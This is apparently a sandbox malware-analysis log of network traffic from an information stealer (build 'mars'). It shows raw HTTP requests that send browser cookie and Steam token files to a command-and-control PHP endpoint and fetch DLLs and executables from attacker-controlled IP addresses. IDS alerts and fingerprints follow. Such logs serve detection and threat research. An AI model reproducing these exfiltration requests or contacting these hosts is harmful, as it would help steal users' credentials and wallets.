Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="message"plugins------EBGIDGCAFCBKECAAKJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 2d 2d 0d 0a Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="message"fplugins------CFCBFHJECAKEHIECGIEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJKHost: 185.215.113.206Content-Length: 7011Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDGHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DBKKFCBAKKFBGCBFHJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file"------EHCBAAAFHJDHJJKEBGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBFBFIIJDAKECAKKJEHHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 2d 2d 0d 0a Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file"------BAKKEGCAAECAAAKFBGIE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKFCGDGHDHIECGCBKHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="message"wallets------IIDHJDGCGDAAKEBGDBKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKFHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="message"files------JEGDGIIJJECFIDHJJKKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file"------HDGDGHCAAKECFHJKFIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 2d 2d 0d 0a Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="message"ybncbhylepme------HIIIEGDBKJKEBGCBAFCF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GCBGCAFIIECBFIDHIJKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 38 37 38 42 34 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2878B45082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 37 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005772001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIIEBGCAAECBGCBGCBKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 30 46 44 33 38 41 37 46 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="hwid"E20FD38A7F9D1524750037------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="build"mars------AFIIEBGCAAECBGCBGCBK--

Source: Joe Sandbox View	IP Address: 18.245.60.72 18.245.60.72
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49859 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50008 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50123 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50125 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50128 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50127 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50129 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50130 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50131 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50137 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50133 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50138 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.6:49780
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.6:50080

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
